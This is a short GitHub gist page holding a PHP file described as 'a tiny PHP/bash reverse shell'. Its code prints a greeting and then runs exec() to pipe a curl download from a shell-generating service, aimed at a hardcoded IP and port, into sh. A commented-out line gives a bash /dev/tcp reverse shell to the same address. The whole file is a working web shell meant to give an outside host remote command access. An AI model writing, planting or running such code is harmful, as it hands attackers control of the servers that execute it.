Skip to content

Instantly share code, notes, and snippets.

@roy4801 roy4801/shell.php forked from rshipp/shell.php
Last active Nov 30, 2018

Embed
What would you like to do?
A tiny PHP/bash reverse shell.
<?php
echo "hello there";
exec("curl https://shell.now.sh/140.136.2.178:1337 | sh");
// exec("/bin/bash -c 'bash -i >& /dev/tcp/140.136.2.178/1234 0>&1'");
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.